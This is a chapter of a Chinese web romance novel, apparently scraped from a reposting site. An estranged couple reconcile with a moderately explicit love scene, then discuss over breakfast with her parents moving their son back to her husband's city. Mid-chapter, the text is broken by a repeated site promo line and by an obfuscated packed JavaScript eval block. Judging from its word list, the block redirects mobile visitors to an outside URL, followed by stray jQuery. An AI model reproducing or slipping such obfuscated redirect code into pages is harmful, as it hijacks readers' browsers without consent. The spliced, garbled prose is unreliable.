第二百四十章 她在哪里,他就追到哪里
作品:《倒贴五年,离婚后前夫成恋爱脑》 程昱钊花了好几秒才消化这句话的意思。
岁岁早就给他打满分了。
那个小家伙一张小嘴毒得很,扣他的分,罚他反省,实际上在评分表的背面早就偷偷写下了最高的数字。
就像他妈妈一样。
嘴上说着不原谅,实际上一直留下来陪着他。
可姜知没给他太多回味的时间。
借着那点温软上涌的酒意,主动侧过头,呼吸交错间,她的唇轻轻贴上了他的。
唇齿相依,淡淡的酒香气渡了过来。
房间里很暗,程昱钊怔在这里,完全不敢相信落在这个嘴唇上的触感是真实的。
无数次在生死边缘的自我放逐,他以为自己这辈子都只能站在门外远远地看着她,祈求她施舍一点点不要带着恨意的目光。
这一次是姜知清醒且主动的接纳。
她又选择了他。
他直起身,反客为主地捧住了姜知的脸,低头吻了回去。
起初的吻还带着试探,得到回应后,那些隐忍到快要发疯的念头便压不住了。
姜知被他带着向后倒去。
黑暗中,衣物摩擦的窸窣声被无限放大。
他有些急切,姜知能感觉到落在自己颈间、锁骨上的吻,炙热得像是要烙下印记。
她伸手抱住了他的背。
隔着薄薄的衬衣,她能摸到那些崎岖不平的伤疤。
程昱钊的动作顿了一下。
他还是有些在意这些丑陋的痕迹,怕吓到她。
姜知却将他抱得更紧,双手顺着他的背下滑,从衣摆处探了进去,毫无阻碍地贴上了他的皮肤。
一下又一下的在那些疤痕上摩挲。
“不用躲。”她在他的耳边低声说。
程昱钊埋在姜知的颈窝,低低地喘息着,用了很大的力气才把涌到眼眶的热意逼回去。
“我可以吗?”
他的声音哑得几乎听不清,姜知没有说话,将他又往自己的方向拉近了一些。
这个无声的动作就是最好的回答。
程昱钊额头抵着她的肩窝,身体覆了下来。
俩人的喘息声混在一起,回应着他每一次深入的占有。
夜色深沉,一切都发生得水到渠成,没有激烈的言语,只有呼吸与心跳在暗夜里交融。
当那份久违的充实感彻底贯穿彼此的时候,程昱钊停了下来。
他把头埋在姜知的耳侧,滚烫的液体毫无预兆地砸在姜知的颈窝里,灼
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
得她心里一酸。
在那些起伏的痛楚与沉沦中姜知闭上眼睛任由自己跟着他在情潮中浮沉。
屋内两个人的呼吸渐渐平复下来。
像两条分流了许久的河终于在入海口重新汇合。-
清晨
姜知是在一阵熟悉的米粥香味中醒来的。
半宿的折腾让她的大脑有一瞬间的宕机身体透出一种熟悉又陌生的酸软感。
她迷迷糊糊地睁开眼视线还没完全聚焦就感觉到腰间横着一条手臂将她整个人扣在一个温暖宽阔的怀抱里。
耳边是平稳有力的心跳声。
姜知微微仰起头正对上程昱钊那双深邃清明的眼睛。
他不知道什么时候已经醒了或者说他可能根本就没怎么睡。
他就这么侧躺着一瞬不瞬地盯着她看眼神里满是那种患得患失的贪恋。
“醒了?”程昱钊的声音还有些哑。
姜知眨了眨眼睛神智回笼。
回想起昨晚在这个自己从小睡到大的床上发生的事多少有些不好意思。
“你什么时候醒的?怎么不叫我。”
程昱钊看着她这难得的温顺模样心里又暖又烫觉得自己这辈子大概再也看不够这张脸了。
他把横在她腰上的手臂又收紧了些低声说:“刚醒。看你睡得沉想让你多睡会儿。难不难受?”
他一边说一边按着她的腰。
姜知摇头。
“我爸妈都起来了我们也赶紧起吧。”
这种时候在这个房间里赖床总觉得怪怪的。
毕竟是在父母家隔着一堵墙就是老人和孩子。昨晚一时冲动是一回事大白天赖在一起又是另一回事。
她甚至不敢去想昨晚隔音效果到底怎么样这栋老房子的墙体本来就薄……
不能想再想下去她能直接从窗户跳出去。
“知知。”
“嗯?”
“谢谢你愿意让我回家。”
姜知看着他认真的表情心里那种酸软的感觉又泛了上来。
从昨晚到今天早晨程昱钊心里一定波动很大。
对于一个从十三岁起就没有“家”这个概念的人来说“回家”这两个字太重了。
他终于敢确认他是真的被原谅了。
姜知抬手摸摸他的眉骨。
“程昱钊我们之间不用再说谢谢也不用再说对不起。
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
以后的日子还很长,你现在的首要任务,是把你的身体养好。”
程昱钊眼眶微热,握住她停留在自己脸上的手,放在唇边吻了一下。
“好,我一定好好养病,陪你们长命百岁。”
两人又在床上温存了片刻,这才起身穿衣服。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334071|196774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>小房间的空间不大,程昱钊背对着姜知穿好上衣。
姜知的目光落在他背上那片狰狞的疤痕上,虽然昨晚已经在黑暗中抚摸过无数次,但在晨光下看到,心口还是忍不住一阵紧缩。
她移开视线,拉开了房门。
餐桌上已经摆好了早餐。
简单的白米粥,煮鸡蛋,配上姜妈自己腌的小咸菜。
老两口带着岁岁已经吃了一半,见他俩出来,姜妈目光在姜知和程昱钊之间转了一圈,最后落在女儿略显红润的脸上,以及领口处一个没藏住的浅红痕迹上。
老太太眼底带了点笑,低头又夹了一筷子咸菜。
“醒了?快过来吃饭。”
一家五口围坐在餐桌旁,总算让这个元旦假期多了些暖意。
姜知看了一眼正低头给岁岁剥鸡蛋的程昱钊,随口问道:“今天还用回程家吗?”
“不用了,字都签完了,今天我全天候待命,陪你和岁岁。”
姜爸又问:“这元旦一过,春节也就没几天了。昱钊,你年前年后是怎么安排的?”
这是老两口目前最关心的问题,虽然程昱钊表现得很好,但女儿和外孙到底在哪儿落脚,才是最重要的大事。
程昱钊肯定是要留在云城的,那等幼儿园开了学,女儿到底是回鹭洲还是留下来?
岁岁在哪儿上学,姜知在哪儿生活,这些才是实打实的大事。
程昱钊下意识看向姜知。
这个问题他不是没想过,事实上他每天都在想,但他不敢替她做决定。
姜知接收到他的眼神,开口道:
“我想过了,等春节过完,岁岁转回云城上学吧。”
原本还在咯吱咯吱啃咸菜的岁岁抬起头,眼睛都亮了:“妈妈,真的吗?我可以一直跟爸爸在一起?”
姜爸姜妈对视一眼,眼底有惊喜,也有意料之中的感慨。
最意外的人是程昱钊。
他本来是做好了在鹭洲和云城之间长期往返奔波的准备。
两千公里,飞机三个小时,只要休息他就可以过去。
高铁也行,夜里出发早上到,在鹭洲的街道上等着岁岁放学,接他回家吃自己头一天就研究好的菜。
时谦能做到的,他虽然学不了全部,但可以拼命做到他能做的极限。
具体方案都想好了。
指挥中心的排班相对规律,只要没有大案子,一个月至少能飞两次全周末,节假日全部让给她们。
攒几天调休也不是问题,实在攒不出来,就请假,扣工资也无所谓。他挣钱本来就是给姜知花的。
所以他从没问过姜知的打算,因为不管怎样,他都可以接受。
她在哪里,他就追到哪里。

